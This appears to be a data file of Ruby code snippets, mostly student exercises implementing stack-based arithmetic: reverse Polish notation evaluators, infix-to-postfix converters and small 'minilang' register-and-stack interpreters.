"def eval_math(string)\n number_stack = []\n operator_stack = []\n tokens = string.split(\" \")\n tokens.each_with_index do |n, i|\n if n == \"*\" \n number_stack << number_stack.pop.to_i * tokens[i+1].to_i\n tokens.delete_at(i+1)\n elsif n == \"/\" \n number_stack << number_stack.pop.to_i / tokens[i+1].to_i\n tokens.delete_at(i+1)\n elsif ['+','-'].include? n\n operator_stack << n\n else\n number_stack << n\n end\n puts \"evaling n: #{n}, number_stack #{number_stack} operator_stack #{operator_stack}\"\n end\n result = 0\n operator_stack.each do |o|\n if o == '+'\n number_stack[0] = number_stack.first.to_i + number_stack.delete_at(1).to_i\n end\n if o == '-'\n number_stack[0] = number_stack.first.to_i - number_stack.delete_at(1).to_i\n end\n end\n\n return number_stack[0]\n\nend",
"def create_equation\n equation =''\n for i in 0..(@operands.size-1)\n if i==0\n equation << @operands[i].to_s\n else\n #binding.pry\n equation << @operators[@operator_value[i-1]].to_s\n equation << @operands[i].to_s\n end\n end\n equation\n end",
"def infix\n @solutions.map do |solution|\n stack = []\n\n solution.each do |s|\n if s.is_a? Fixnum\n stack.push expr: s, precedence: 3\n else\n b = stack.pop\n a = stack.pop\n p = {'-' => 1, '+' => 1, '*' => 2, '/' => 2}[s]\n\n a[:expr] = \"(#{a[:expr]})\" if a[:precedence] < p\n b[:expr] = \"(#{b[:expr]})\" if b[:precedence] <= p\n\n stack.push expr: '%s %s %s' % [a[:expr], s, b[:expr]], precedence: p\n end\n end\n\n '%s = %d' % [stack.pop[:expr], @target]\n end\n end",
"def rpn(operation)\n rpn_stack = Stack.new\n tokens = parse_tokens(operation)\n puts tokens.to_s\n tokens.each do |token|\n if !is_operator?(token)\n puts \"pushing token #{token}\"\n rpn_stack.push(token)\n else\n val2 = rpn_stack.pop\n val1 = rpn_stack.pop\n rpn_stack.push(calculate(val1,val2, token))\n end # end of if\n end # end of each\n rpn_stack.pop\nend",
"def expressions_from_iseq(bytecodes, locals)\n bytecodes.reduce([]) do |stack, inst|\n puts \"INST: #{inst}\"\n # annoyingly, labels have have their own format\n # UGGGGLY, TODO: refactor\n if inst.is_a?(Symbol) && inst.to_s =~ /^label/\n if ih = self.half_pop_if(inst, stack)\n stack << ih\n elsif iff = self.pop_if(inst, stack)\n stack << iff \n else \n stack << Label.new(inst)\n end\n\n next stack\n elsif inst.is_a?(Fixnum)\n # TODO: What's with the plain numbers?\n next stack\n end\n\n case inst[0]\n # TODO\n when :throw \n # TODO?\n when :trace, :pop, :putnil, :leave\n \n when :branchunless\n test = stack.pop\n if_hole = IfHole.new(test, inst[1], nil, nil, nil)\n stack << if_hole\n when :branchif\n stack << self.pop_while(inst, stack)\n when :jump\n stack << Jump.new(inst[1])\n\n when :putobject_OP_INT2FIX_O_0_C_ \n stack << Literal.new(0)\n when :putobject_OP_INT2FIX_O_1_C_ \n stack << Literal.new(1)\n when :putobject\n stack << Literal.new(inst[1])\n when :putstring\n stack << Literal.new(inst[1])\n when :putself\n stack << Self.new\n when :newarray\n stack << self.pop_array(inst[1], stack)\n when :duparrray\n stack << ArrayLiteral.new(inst[1].map{ |v| Literal.new(v)})\n\n when :getlocal\n stack << self.get_local(inst[2], inst[1])\n when :getlocal_OP__WC__1\n stack << self.get_local(1, inst[1])\n when :getlocal_OP__WC__0\n stack << self.get_local(0, inst[1])\n\n when :setlocal\n stack << self.pop_assignment(inst[2], inst[1], stack)\n when :setlocal_OP__WC__1\n stack << self.pop_assignment(1, inst[1], stack)\n when :setlocal_OP__WC__0\n stack << self.pop_assignment(0, inst[1], stack)\n\n when :send\n stack << self.pop_expression(inst[1], stack)\n when :opt_send_simple\n stack << self.pop_expression(inst[1], stack)\n when :opt_lt\n stack << self.pop_expression(inst[1], stack)\n when :opt_le\n stack << self.pop_expression(inst[1], stack)\n when :opt_plus\n stack << self.pop_expression(inst[1], stack)\n # TODO: The other opts and sends\n else\n puts \"UNKNOWN\"\n end\n\n stack\n end\n end",
"def calculate(input)\n raise error(\"length is zero!\") unless input.length > 0\n # break input string on whitespace for tokens.\n tokens = input.strip.gsub(/\\(|\\)/,'').split(/\\s+/m)\n tokens.each_with_index do |token, index|\n raise error(\"syntax error at token ##{index + 1} '#{token}'\") unless token =~ /\\d+|[*-\\/+^%]/\n # if this is an operand, add it to the stack\n if token =~ /\\d/\n @stack << token.to_f\n else\n raise error(\"not enough operands at token ##{index + 1} '#{token}'\") if (@stack.length < MIN_TOKENS && @strict)\n # if it is an operator, take the operands off the stack and apply the operator to them\n while @stack.length > 1\n first, second = @stack.pop(MIN_TOKENS)\n @stack << first.send(token, second)\n end\n end\n end\n raise error(\"invalid syntax\") unless @stack.length == 1\n @stack.pop\n end",
"def toPostfixExpression(infix)\n\t\tstack = []\n\t\tcount = 0\n\t\tinfix.each_char { |ch|\n\t\t\tif ch == ')'\n\t\t\t\tbuffer = []\n\t\t\t\tc = ''\n\t\t\t\twhile (c = stack.pop) != '('\n\t\t\t\t\tbuffer << c\n\t\t\t\tend\n\t\t\t\tstack << combine(buffer.reverse)\n\t\t\telse\n\t\t\t\tstack << ch\n\t\t\tend\n\n\t\t}\n\t\tstack[0]\n\n\tend",
"def math_eval(str)\n # iterate over string values\n # perhaps utilize a queue till you hit a symbol?\n # left operand and right operand (do we care about order of operations?)\n copy = str\n total = 0\n tokens = []\n\n copy.chars.each_with_index do |ch, idx|\n if ch == '*' || ch == '/' || ch == '+' || ch == '-'\n divided = str.split(ch)\n tokens << divided.shift.to_i\n tokens << ch\n copy = divided\n end\n if idx == copy.length - 1\n tokens << copy\n end\n # break if ch.match(/()+\\-*/) && operator != ''\n # operator = ch.match(/()+\\-*/)\n # left_operand = ch if ch.match(/0-9/) && operator == ''\n # right_operand += ch if ch.match(/0-9/) && operator != ''\n end\n return tokens\n\n p \"operator: #{operator}, left_operand: #{left_operand}, right_operand: #{right_operand}\"\n return left_operand.to_i if operator == ''\n return left_operand.to_i + right_operand.to_i if operator == '+'\n return left_operand.to_i - right_operand.to_i if operator == '-'\n return left_operand.to_i / right_operand.to_i if operator == '/'\n return left_operand.to_i * right_operand.to_i if operator == '*'\nend",
"def to_postfix(infix_expr)\n @op_stack = Array.new\n @context_stack = [@op_stack]\n @is_first = true\n\n @postfix_expr = Array.new\n infix_expr.each { |t| eval_token(t) }\n\n check_unclosed_bracket\n @postfix_expr + @op_stack.reverse\n end",
"def evaluatePostfix(exprStr)\n stack = []\n exprStr.split(\" \").each do |token|\n if operand? token then\n stack.push token\n elsif operator? token then\n y = stack.pop\n x = stack.pop\n stack.push applyOperator(x, y, token)\n end\n end\n stack.pop\n end",
"def stack_eval_infix(string)\n raise \"Bad characters\" if string =~ INVALID_CHARACTERS\n op_stack = LinkedStack.new\n value_stack = LinkedStack.new\n string.chars do | ch |\n case\n when ch =~ /\\d/ || ch == ')'\n if ch == ')'\n raise \"Missing left parenthesis\" if op_stack.empty? || op_stack.top != '('\n op_stack.pop\n else\n value_stack.push(ch.to_i)\n end\n while !op_stack.empty? && op_stack.top =~ OPERATORS\n op = op_stack.pop\n raise \"Missing argument\" if value_stack.empty?\n right_arg = value_stack.pop\n raise \"Missing argument\" if value_stack.empty?\n left_arg = value_stack.pop\n value_stack.push( evaluate(op, left_arg, right_arg) )\n end\n when ch =~ OPERATORS || ch == '('\n op_stack.push(ch)\n end\n end\n raise \"Missing expression\" if value_stack.empty?\n raise \"Too many arguments\" unless value_stack.size == 1\n raise \"Missing argument\" unless op_stack.empty?\n value_stack.pop\nend",
"def evaluate_postfix(str)\n calc = Stack.new\n i = 0\n while i < str.length\n case str[i]\n when \"+\"\n calc.push (calc.pop + calc.pop)\n when \"-\"\n value1 = calc.pop\n value2 = calc.pop\n calc.push (value2 - value1)\n when \"*\"\n calc.push (calc.pop * calc.pop)\n when \"/\"\n value1 = calc.pop\n value2 = calc.pop\n calc.push (value2 / value1)\n else\n calc.push str[i].to_i\n end\n i += 1\n end\n return calc.pop\nend",
"def evalRPN(exp)\n begin\n expr = parseString(exp) # Parse expression into array\n\n stack = Stack.new # stack to keep track of operands\n\n # convert string to int or float\n case expr[0]\n when /\\.{1}/\n stack.push(atof(expr[0]))\n else\n stack.push(atoi(expr[0]))\n end\n\n for i in 1..expr.length\n\n # Addition - perform addition on previous two operands\n if expr[i] == '+' \n stack.push(calc stack.pop, stack.pop, &:+)\n\n # Subtraction - perform subtraction on previous two operands\n elsif expr[i] == '-'\n stack.push(calc stack.pop, stack.pop, &:-) \n\n # Division - perform division on previous two operands\n elsif expr[i] == '/'\n stack.push(calc (stack.pop/1.0), stack.pop, &:/)\n\n # Multiplication - perform mult on previous two operands\n elsif expr[i] == '*'\n stack.push(calc stack.pop, stack.pop, &:*)\n\n # Just a number -- add to stack\n else\n next if expr[i] == nil # dont add nil to stack\n\n case expr[i]\n when /\\.{1}/\n stack.push(atof(expr[i]))\n else\n stack.push(atoi(expr[i]))\n end\n end\n end\n\n # No operator provided\n raise NotEnoughException if stack.size != 1\n \n return stack.pop # Return answer\n\n rescue NotEnoughException => e\n abort(e.mes) # inform user of error\n end\n\nend",
"def minilang(str)\n register = 0\n stack = []\n\n command = str.split(' ')\n command.map! { |element| element.to_i.to_s == element ? element.to_i : element }\n p command\n\n command.each do |element|\n case element\n when 'PUSH'\n stack.push(register)\n when 'ADD'\n register += stack.pop\n when 'SUB'\n register -= stack.pop\n when 'MULT'\n register *= stack.pop\n when 'DIV'\n register /= stack.pop\n when 'MOD'\n register %= stack.pop\n when 'POP'\n register = stack.pop\n when 'PRINT'\n puts register\n else\n register = element\n end\n end\nend",
"def solve_rpn(s)\n\t\t\tstack = []\n\t\t\ts.split(\"\\s\").each do |e|\n\t\t\t\tcase e\n\t\t\t\t\twhen \"+\"\n\t\t\t\t\t\tstack.push(stack.pop + stack.pop)\n\t\t\t\t\twhen \"-\"\n\t\t\t\t\t\tstack.push(-stack.pop + stack.pop)\n\t\t\t\t\twhen \"*\"\n\t\t\t\t\t\tstack.push(stack.pop * stack.pop)\n\t\t\t\t\twhen \"/\"\n\t\t\t\t\t\ta, b = stack.pop, stack.pop\n\t\t\t\t\t\tstack.push(b / a)\n when \"<?\"\n a, b = stack.pop, stack.pop\n stack.push(b < a ? 1 : 0)\n when \">?\"\n a, b = stack.pop, stack.pop\n stack.push(b > a ? 1 : 0)\n when \"<=?\"\n a, b = stack.pop, stack.pop\n stack.push(b <= a ? 1 : 0)\n when \">=?\"\n a, b = stack.pop, stack.pop\n stack.push(b >= a ? 1 : 0)\n\t\t\t\t\telse\n\t\t\t\t\t\traise TypeError, \"Bad rpn\" unless e.is_numeric?\n\t\t\t\t\t\tstack.push(e.to_f)\n\t\t\t\tend\n\t\t\tend\n\t\t\tstack[0]\n\t\tend",
"def arithmeticBinary(op)\n str = getTopTwoFromStack + \"M=M\"+op+\"D\"+\"\\n\"\n return str+\"\\n\"\nend",
"def minilang(str)\n stack = []\n reg = 0\n\n # puts str\n cmds = str.split\n cmds.each do |cmd|\n # puts \"cmd == #{cmd}\"\n case cmd\n when 'PUSH' then stack << reg\n when 'ADD' then reg += stack.pop\n when 'SUB' then reg -= stack.pop\n when 'MULT' then reg *= stack.pop\n when 'DIV' then reg /= stack.pop\n when 'MOD' then reg %= stack.pop\n when 'POP' then reg = stack.pop\n when 'PRINT' then puts reg\n else reg = cmd.to_i # integer\n end\n end\n puts\nend",
"def evaluate_postfix(postfix_expression)\n stack = Stack.new\n postfix_expression.each_char do |n|\n if /\\+|-|\\*|\\//.match(n)\n stack_operation_helper(stack, stack.pop, stack.pop, n)\n else \n stack.push(n)\n end \n end \n return stack.pop\nend",
"def evaluate_postfix(postfix_expression)\n stack = Stack.new\n \n i = 0\n while i < postfix_expression.length\n if postfix_expression[i].match(/[0-9]/)\n stack.push(postfix_expression[i].to_i)\n else\n case postfix_expression[i]\n when \"+\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 + num_2)\n when \"-\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 - num_2)\n when \"*\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 * num_2)\n when \"/\"\n num_2 = stack.pop\n num_1 = stack.pop\n stack.push(num_1 / num_2)\n end\n end\n i += 1\n end\n return stack.pop\nend",
"def minilang(string)\n register = 0\n stack = []\n string.split.each do |command|\n case command\n when \"PUSH\" then stack << register\n when \"ADD\" then register += stack.pop\n when \"SUB\" then register -= stack.pop\n when \"MULT\" then register *= stack.pop\n when \"DIV\" then register /= stack.pop\n when \"MOD\" then register %= stack.pop\n when \"POP\" then register = stack.pop\n when \"PRINT\" then puts register\n else register = command.to_i\n end\n end\nend",
"def inputPrecedence(operator)\n if operator == \"+\" || operator == \"-\"\n\t\t\treturn 1\n\t\tend\n\n if operator == \"*\" || operator == \"/\" || operator == \"%\"\n\t\t\treturn 2\n\t\tend\n\n if operator == \"^\"\n\t\t\treturn 4\n\t\tend\n\n if operator == \"(\"\n\t\t\treturn 5\n\t\tend\n\n end",
"def minilang(input)\n\tstack = Array.new\n\tregister = 0\n\tinput.split.each do |x|\n\t\tcase x\n\t\twhen 'PUSH' then stack.push(register)\n\t\twhen 'ADD' then register += stack.pop\n\t\twhen 'SUB' then register -= stack.pop\n\t\twhen 'MULT' then register *= stack.pop\n\t\twhen 'DIV' then register /= stack.pop\n\t\twhen 'MOD' then register %= stack.pop\n\t\twhen 'POP' then register = stack.pop\n\t\twhen 'PRINT' then p register\n\t\telse\n\t\t\tregister = x.to_i\n\t\tend\n\tend\n\tregister\nend",
"def to_infix_tree\n return @infix_tree unless @infix_tree.nil?\n \n debug \"\\nfor RPN expression: #{expression}\\nTerm\\tAction\\tStack\"\n stack = []\n expression.split.each do |term|\n if Operators.has_key?(term)\n a, b = stack.pop(2)\n raise ArgumentError, \"not enough operands on the stack\" if b.nil?\n op = InfixNode.new(term)\n op.left = a\n op.right = b\n stack.push(op)\n debug \"#{term}\\t#{Operators[term].english}\\t#{stack.inspect}\"\n else\n begin\n Integer(term) rescue Float(term)\n rescue ArgumentError\n raise ArgumentError, \"cannot handle term: #{term}\"\n end\n stack.push(InfixNode.new(term))\n debug \"#{term}\\tPUSH\\t#{stack.inspect}\"\n end\n end\n @infix_tree = stack.pop\n end",
"def minilang(command_string)\n stack = []\n register = 0\n command_string.split(' ').each do |command|\n case command\n when 'PUSH' then stack << register\n when 'ADD' then register += stack.pop\n when 'SUB' then register -= stack.pop\n when 'MULT' then register *= stack.pop\n when 'DIV' then register /= stack.pop\n when 'MOD' then register %= stack.pop\n when 'POP' then register = stack.pop\n when 'PRINT' then puts register\n else register = command.to_i\n end\n end\n register\nend",
"def answer\n operators[@operator].call\n end",
"def minilang(str)\n stack = []\n reg = 0\n \n commands = str.split(' ')\n \n commands.each {|command|\n case command\n when 'PRINT'\n puts reg\n when 'PUSH'\n stack.push(reg)\n when 'POP'\n reg = stack.pop\n when 'ADD'\n reg += stack.pop \n when 'SUB'\n reg -= stack.pop \n when 'MULT'\n reg *= stack.pop \n when 'DIV'\n reg /= stack.pop \n when 'MOD'\n reg %= stack.pop\n else\n reg = command.to_i\n end\n }\nend",
"def operators= new_ops\n @operators = new_ops.gsub(/[^+*-]/, '').split(//)\n reset\n end",
"def to_infix\n expr = to_infix_tree.to_s\n debug \"Infix = #{expr}\"\n expr\n end",
"def evaluatePostfix(exprStr)\n\t\tstack = Array.new\n\n\t\tfor i in 0...exprStr.split.length\n\t\t\tcurrent = exprStr.split[i]\n\n\t\t\tif operand?(current)\n\t\t\t\tstack.push(current)\n\t\t\tend\n\n\t\t\tif operator?(current)\n\t\t\t\ty = stack.pop\n\t\t\t\tx = stack.pop\n\t\t\t\to = current\n\t\t\t\tresults = applyOperator(x, y, o.to_s)\n\t\t\t\tstack.push(results)\n\t\t\tend\n\t\tend\n\n\t\treturn stack.pop\n end",
"def eval_infix(source)\n ch = source.current\n source.next\n if ch == '('\n left_arg = eval_infix(source)\n raise \"Missing right parenthesis\" unless source.current == ')'\n source.next\n elsif ch =~ /\\d/\n left_arg = ch.to_i\n else\n raise \"Missing argument\"\n end\n while source.current =~ OPERATORS\n op = source.current\n ch = source.next\n if ch == '('\n source.next\n right_arg = eval_infix(source)\n raise \"Missing right parenthesis\" unless source.current == ')'\n elsif ch =~ /\\d/\n right_arg = ch.to_i\n else\n raise \"Missing argument\"\n end\n left_arg = evaluate(op, left_arg, right_arg)\n source.next\n end\n left_arg\nend",
"def minilang(str)\n register = 0\n stack = []\n\n str.split.each do |el|\n case \n when el == 'ADD' then register += stack.pop\n when el == 'SUB' then register -= stack.pop\n when el == 'MULT' then register *= stack.pop\n when el == 'DIV' then register /= stack.pop \n when el == 'MOD' then register %= stack.pop \n when el == 'PUSH' then stack.push(register)\n when el == 'POP' then register = stack.pop \n when el == 'PRINT' then puts register \n else register = el.to_i\n end\n end\nend",
"def build_parsing_tree\n buffer = [] #[[op, rExpr, lExpr], ...]\n @postfix_buffer.each{|s| buffer << (s.class == Array ? s : [s, buffer.pop, buffer.pop]) }\n return buffer.first\n end",
"def inputPrecedence(operator)\n if ['+', '-'].include? operator\n return 1\n elsif ['*', '/', '%'].include? operator\n return 2\n elsif '^'.eql? operator\n return 4\n else\n return 5\n end\n end",
"def equation_analyzer(str)\n equation_array = []\n result_array = []\n open_parenth = 0\n closed_parenth = 0\n str.each_char do |character|\n open_parenth += 1 if character == '('\n closed_parenth += 1 if character == ')'\n equation_array << character\n if open_parenth == closed_parenth \n result_array << equation_array.join\n open_parenth = 0\n closed_parenth = 0\n equation_array = []\n end\n end\n result_array.delete(' ')\n result_array\nend",
"def input_operator()\n\twhile true\n\t\tputs \"What do you want to do?\"\n\t\tputs \"+ -> add\"\n\t\tputs \"- -> subtract\"\n\t\tputs \"* -> multiply\"\n\t\tputs \"/ -> divide\"\n\t\t\n\t\top = gets.strip\n\t\tcase op\n\t\twhen \"+\"\n\t\t\treturn \"+\"\n\t\twhen \"-\"\n\t\t\treturn \"-\"\n\t\twhen \"/\"\n\t\t\treturn \"/\"\n\t\twhen \"*\"\n\t\t\treturn \"*\"\n\t\telse\n\t\t\tputs \"Please enter only + - * or /\"\n\t\tend\n\tend\nend",
"def reverse(input)\n s = Stack.new\n input.length.times do |e|\n s.push(input[e])\n end\n\n output = ''\n while(!s.empty?)\n output << s.pop\n end\n\n return output\nend",
"def minilang(string)\n register = 0\n stack = []\n\n string.split(' ').each do |cmd|\n case cmd\n when 'PUSH' then stack.push(register)\n when 'ADD' then register += stack.pop.to_i\n when 'SUB' then register -= stack.pop.to_i\n when 'MULT' then register *= stack.pop.to_i\n when 'DIV' then register /= stack.pop.to_i\n when 'MOD' then register %= stack.pop.to_i\n when 'POP' then register = stack.pop.to_i\n when 'PRINT' then puts register\n else register = cmd.to_i\n end\n end\nend",
"def operator_function \n puts \"What is the operator? +, -, /, *?\"\n @operator = gets.strip \n operator_case_test\nend",
"def evaluate_postfix(postfix_expression)\n regex = /\\d/\n stack = Stack.new\n postfix_expression.each_char do |c|\n if c.match(regex)\n stack.push(c.to_i)\n elsif stack.empty?\n raise ArgumentError\n else\n num2 = stack.pop\n num1 = stack.pop\n new_num = num1.method(c).(num2)\n stack.push(new_num)\n end\n end\n return stack.pop\nend",
"def prefix_evaluation(expression)\n return nil if expression.class != String\n digits = [\"0\", \"1\", \"2\", \"3\", \"4\", \"5\",\"6\", \"7\", \"8\", \"9\"]\n operators = [\"+\", \"-\", \"*\", \"/\", \"**\"]\n expression_array = expression.split(\" \").reverse\n local_stack = Stack.new()\n expression_array.each do |element|\n if digits.include?(element)\n local_stack.push(element)\n elsif operators.include?(element)\n num1 = local_stack.pop()\n num2 = local_stack.pop()\n result = do_math(num1, num2, element)\n local_stack.push(result)\n else\n puts \"undefined character\"\n end\n end\n local_stack.top()\nend",
"def arithmeticUnary(op)\n str = getTopOfStack + \"M=\"+op+\"M\"+\"\\n\"\n return str+\"\\n\"\nend",
"def evaluate post_fix_expression\n stack = []\n while !post_fix_expression.empty? \n top = post_fix_expression.shift\n if top == \"*\"\n y, x = stack.pop, stack.pop \n stack.push(x * y)\n elsif top == \"/\"\n y, x = stack.pop, stack.pop\n stack.push(x/y)\n elsif top == \"+\"\n y, x = stack.pop, stack.pop\n stack.push(x+y)\n elsif top == \"-\"\n y, x = stack.pop, stack.pop\n stack.push(x-y)\n else\n stack.push(top)\n end\n end\n stack.pop\n end",
"def _calc operator\n (operand1, operand2) = @stack.pop 2\n @stack.unshift @stack.first\n @stack.push operand1.send(operator.to_sym, operand2)\nend",
"def create_numbers(string)\n # eval is lazy and potentially dangerous\n queue = [[eval(string) , 0]]\n\n nums = []\n\n while queue.any?\n node, level = queue.shift\n\n if node.is_a?(Integer)\n nums << SnailNumber.new([node], level - 1)\n elsif node.all? { |node| node.is_a? Integer }\n nums << SnailNumber.new(node, level)\n else\n node.reverse_each do |child_node|\n queue.unshift([child_node, level + 1])\n end\n end\n end\n\n nums\nend",
"def enter(raw_input)\n input = Input.new(raw_input)\n if input.valid?\n stack << input\n else\n raise InputError, \"Input must either be a valid number or operator.\"\n end\n end",
"def parse_right_infix(opsym, opcon)\n opupdate = ->(f,e1,e2) { f.call(opcon.call(e1,e2)) }\n sof = ->(x) { x }\n method(:parse_ginfix).curry.call(opsym, opupdate, sof)\n end",
"def minilang(command_string)\n command_array = command_string.split\n register = 0\n stack = []\n counter = 0\n until counter > command_array.size do\n if is_string_int?(command_array[counter])\n register = command_array[counter].to_i\n else\n case command_array[counter]\n when 'PUSH' then stack << register\n when 'ADD' then register += stack.pop\n when 'SUB' then register -= stack.pop\n when 'MULT' then register *= stack.pop\n when 'DIV' then register /= stack.pop\n when 'MOD' then register %= stack.pop\n when 'POP' then register = stack.pop\n when 'PRINT' then puts register\n end\n end\n counter += 1\n end\nend",
"def operation_select\n puts \"Which operator would you like to use?\"\n puts \"1. add(+)\"\n puts \"2. subtract(-)\"\n puts \"3. multiply(*)\"\n puts \"4. divide(/)\"\n puts \"5. power(^)\"\n puts \"6. modulo(%)\"\n puts \"Please choose one operator (type name or symbol):\"\n operation = gets.chomp\n numeric_input(operation)\nend",
"def operator_validator(line)\n operators = ['+', '-', '>', '<', '!', '*', '=']\n ret_arr = []\n operators.each do |n|\n arr = line.chars\n counter = 0\n while counter < arr.length\n if arr[counter] == n\n if operators.include?(arr[counter - 1]) && n == '='\n counter += 1\n next\n end\n dummy_arr = []\n if arr[counter + 1] == '='\n dummy_arr << (arr[counter] + '=')\n dummy_arr << (arr[counter - 1] == ' ' ? -1 : counter - 1)\n dummy_arr << (arr[counter + 2] == ' ' ? -1 : counter + 2)\n counter += 2\n else\n dummy_arr << (arr[counter])\n dummy_arr << (arr[counter - 1] == ' ' ? -1 : counter - 1)\n dummy_arr << (arr[counter + 1] == ' ' ? -1 : counter + 1)\n counter += 1\n end\n ret_arr << dummy_arr\n else\n counter += 1\n end\n end\n end\n ret_arr\n end",
"def cal_sol(str)\n par1=0\n par2=0\n array = str.split('')\n return str if array.none?(%r{[/*/+-/(/)]})\n while array.any?('(')\n i=1\n while i<array.length\n if array[i]=='(' || array[i]==')'\n par1=par2\n par2=i\n end\n if array[par1]=='(' && array[par2]==')'\n array = (par1!=0 ? array[0..par1-1] : []).concat([cal_sol(array[par1+1..par2-1].join(''))]).concat(array[par2+1..array.length])\n i=par1\n par2=par1-1\n par1=par1-1\n end\n i+=1\n end\n end\n new_string = array.join('')\n numbers= new_string.split(%r{[/*/+-]})\n signs= new_string.split(%r{[^/*/+-]}).join('').split('')\n elements = []\n (numbers.length+signs.length).times do |i|\n if i%2==0\n elements.push(numbers[0])\n numbers.delete_at(0)\n else \n elements.push(signs[0])\n signs.delete_at(0)\n end\n end\n operations = ['/','*','-','+']\n operations.each do |ops|\n i=1\n while i<elements.length-1\n if elements[i]==ops\n new_value= [elements[i-1].to_f, elements[i+1].to_f].inject(ops.to_sym)\n puts new_value\n elements = (i>=2 ? elements[0..i-2] : []).concat([new_value]).concat(elements[i+2..elements.length])\n i-=1\n end\n i+=1\n end\n end\n elements[0].to_s\nend",
"def read_operator_node(node)\n first_node = node.children.first\n solution = first_node.is_a?(GivenThatOperatorNode) ? read_operator_node(first_node) : first_node\n\n push_connector(node)\n #group =\n node.children[1..-1].inject(solution) do |sum, i|\n i = read_operator_node(i) if i.is_a?(GivenThatOperatorNode)\n if MULTIPLICATIVE_OPERATORS.include?(node.value)\n sum = sum | i\n else # Assume it's in ADDITIVE_OPERATORS\n sum = sum & i\n end\n end\n end",
"def scopify(expr)\n expr = insert_b(expr)\n @i = 0\n n_expr = \"\"\n last_empty = 0\n open_b = 0\n open_p_b = 0\n open_m_b = 0\n eq = false\n stack = Array.new\n last_e = Array.new\n state = 0\n while @i < expr.size\n case expr[@i]\n # Each part between brackets is seen as a subexpression\n # and it is analyzed recoursively.\n when '('\n scp = Scp.new\n n_expr += expr[@i] + scp.scopify(extract(expr[(@i + 1)...expr.length])) \n @i += scp.count \n when /[\\*\\/]/\n # If there are open brackets of higher opertions\n # it closes them\n if open_m_b > 0\n n_expr += ')' * open_m_b\n last_empty = last_e.pop\n open_m_b = 0\n #open_b -= 1\n end\n if state == 2\n n_expr += ')' * open_p_b\n open_p_b = 0\n state = (stack.size > 0 ? stack.pop : 0)\n end\n # If it is not still analyzing a multiplication, it adds the brackets \n # following the rules\n unless state == 1\n n_expr.insert last_empty, '(' \n state = 1\n open_b += 1\n end\n n_expr += expr[@i]\n last_empty = n_expr.size # + 1\n when /[\\+\\-]/\n # higher priority operation brackets are closed\n # last_empty is shifted\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n state = 0\n open_b = 0\n open_p_b = 0\n n_expr += expr[@i]\n last_empty = n_expr.size\n when /\\^/\n # It begins to put between brackets the operation and its exponent\n if open_m_b > 0 then\n n_expr += \")\" * open_m_b\n last_empty = last_e.pop\n #open_b -= 1\n open_m_b = 0\n end\n n_expr.insert last_empty, '(' unless state == 2\n last_empty += 1 unless state == 2\n n_expr += expr[@i] + (expr[@i+1] == '(' ? '' : '(')\n open_p_b += (expr[@i+1] == '(' ? 1 : (state == 2 ? 1:2))\n stack.push state unless state == 2\n state = 2\n when /\\=/\n # The expression at the left of `=` is put between brackets\n # and a bracket at the right is opened\n # It closes previously opened brackets\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n n_expr += ')' * open_m_b if open_m_b >0\n open_b = 0\n open_p_b = 0\n open_m_b = 0\n n_expr = '(' + n_expr + ')' + expr[@i]\n n_expr += '('\n last_empty = n_expr.size\n state = 0\n eq = true\n when /\\>/\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n open_b = 0\n open_p_b = 0\n n_expr = '(' + n_expr + ')' + expr[@i]\n last_empty = n_expr.size\n when /\\:/\n n_expr.insert last_empty, '('\n n_expr += expr[@i]\n last_k = n_expr[(last_empty+1)...n_expr.size]\n open_m_b += 1 if \"mx:integ:as:from:\".include? last_k\n last_e.pop if last_e.count > 0 and (last_k == \"mx:\" or last_k == \"integ:\")# or last_k == \"solve:\")\n last_e.push last_empty if last_k == \"mx:\" or last_k == \"integ:\"# or last_k == \"solve:\"\n last_empty = n_expr.size\n open_b += 1 unless \"mx:integ:as:from:\".include? last_k\n when /\\\"/\n n_expr += expr[@i]\n @i += 1\n n_expr += discard(expr)\n last_empty = n_expr.length\n when /\\~/\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * (open_b - 1 ) if open_b - 1 > 0\n open_p_b = 0\n open_b = 1\n state = (stack.size > 0 ? stack.pop : 0)\n n_expr += expr[@i]\n last_empty = n_expr.size \n else\n n_expr += expr[@i]\n end\n @i += 1\n end\n # it closes all the opened brackets\n n_expr += ')' * open_m_b if open_m_b > 0\n n_expr += ')' * open_p_b if open_p_b > 0\n n_expr += ')' * open_b if open_b > 0\n n_expr += ')' if eq\n return n_expr\n end",
"def order_of_operations\n [\n # /(\\d*\\.?\\d*) *(\\^) *(\\d*\\.?\\d*)/, # exponents\n Regexp.new(\"(\\\\d*\\\\.?\\\\d*) *(\\\\#{EXPONENT_OP}) *(\\\\d*\\\\.?\\\\d*)\"),\n # /(\\d*\\.?\\d*) *([*\\/]) *(\\d*\\.?\\d*)/, # multiplication or division\n Regexp.new(\"(\\\\d*\\\\.?\\\\d*) *([#{MULTIPLICATION_OP}\\\\#{DIVISION_OP}]) *(\\\\d*\\\\.?\\\\d*)\"),\n # /(\\d*\\.?\\d*) *([+-]) *(\\d*\\.?\\d*)/, # addition or subtraction\n Regexp.new(\"(\\\\d*\\\\.?\\\\d*) *([#{ADDITION_OP}#{SUBTRACTION_OP}]) *(\\\\d*\\\\.?\\\\d*)\")\n ]\n end",
"def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif operator?(token)\n args = []\n\n (SYMBOL_TABLE[token].arity - 1).times do\n # This adds the return value of stack.pop to the beginning of the\n # args array\n args.unshift(stack.pop)\n end\n\n # The *args syntax might be unfamiliar. It's called the \"splat\"\n # operator and among other things it lets you turn an array into\n # a list of arguments.\n stack.push(call_operator(stack, token, *args))\n else\n stack.push(token)\n end\n end\n\n stack.pop\n end",
"def minilang(str)\n stack = []\n register = 0\n\n str.split.each do |char|\n case char\n when 'PUSH' then stack.push(register)\n when 'ADD' then register += stack.pop\n when 'SUB' then register -= stack.pop\n when 'MULT' then register *= stack.pop\n when 'DIV' then register /= stack.pop\n when 'MOD' then register %= stack.pop\n when 'POP' then register += stack.shift\n when 'PRINT' then puts register\n else register = char.to_i\n end\n end\nend",
